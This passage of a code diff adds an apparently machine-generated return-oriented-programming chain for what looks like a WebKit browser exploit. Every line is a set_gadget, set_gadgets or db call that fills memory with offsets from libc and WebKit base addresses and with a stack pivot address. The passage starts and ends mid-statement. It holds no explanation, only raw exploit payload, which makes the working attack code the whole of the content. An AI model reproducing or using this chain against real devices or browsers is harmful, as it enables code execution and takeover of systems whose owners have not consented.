+ropchain+79176, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+79232, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+79360, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+79392, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+79376, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+229136, +libc_base+713278, +ropchain+79552, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+79504, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+79520, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([24, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+79608, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+79720, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+79752, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+79736, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+79912, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+79864, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+79880, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([24, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+79968, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+80080, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+80112, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+80096, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+80272, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+80224, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+80240, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([24, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+80328, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+80440, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+80472, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+80456, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+80552, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+80568, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+80728, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+80680, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+80696, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([24, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+80784, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+80896, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+80928, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+80912, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+81024, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+81008, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+81120, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+81208, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+81224, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+81368, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+81336, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+81352, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+81440, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+81496, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([7, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+81640, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967284, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+81728, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+81744, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+81904, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+81936, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+81888, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+81920, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+82064, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+82080, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+82048, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+82192, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+82208, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+82296, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+82352, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+82424, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+82480, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+887232, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+82584, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967283, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+82672, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+82688, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+229136, +libc_base+713278, +ropchain+82848, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+82800, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+82816, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([24, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+82904, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+83016, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+83048, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+83032, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+83208, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+83160, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+83176, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([24, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+83264, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+83376, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+83408, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+83392, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+83488, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+83504, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+83664, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+83616, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+83632, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([24, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+83720, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+83832, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+83864, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+83848, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+83960, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+83944, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+84056, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+84144, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+84160, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+84304, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+84272, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+84288, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+84376, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+84432, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+84528, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967284, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+84616, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+84632, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+84792, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+84824, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+84776, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+84808, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+84952, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+84968, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+84936, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+85056, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+85112, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+85184, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+85240, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+887232, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+85344, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967284, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+85432, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+85448, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+85608, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+85640, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+85592, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+85624, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+85736, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+85720, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+85824, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+85896, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967284, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+85960, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+489696, +ropchain+74104, +libc_base+713278, +ropchain+86072, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+86160, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+86176, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+86304, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+86320, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+86288, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+86424, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+86440, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+86560, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+86544, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+86648, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+86632, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+86752, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+86768, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+86888, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+86872, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+86960, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+87024, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([32, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+87176, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+87192, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+87312, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+87296, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+87440, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+87456, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+87600, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+87568, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+87584, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+87672, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+87728, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+87824, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+87920, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+87936, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+88024, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+88080, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+88200, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+88288, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+88304, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+88448, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+88416, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+88432, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+88520, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+88576, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+88672, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+88768, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+88784, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+88872, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+88928, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+89000, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+89056, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +pivot_addr, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+89208, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+89296, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+89312, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+89456, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+89424, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+89440, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+89528, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+89584, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+89680, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+89776, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+89792, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 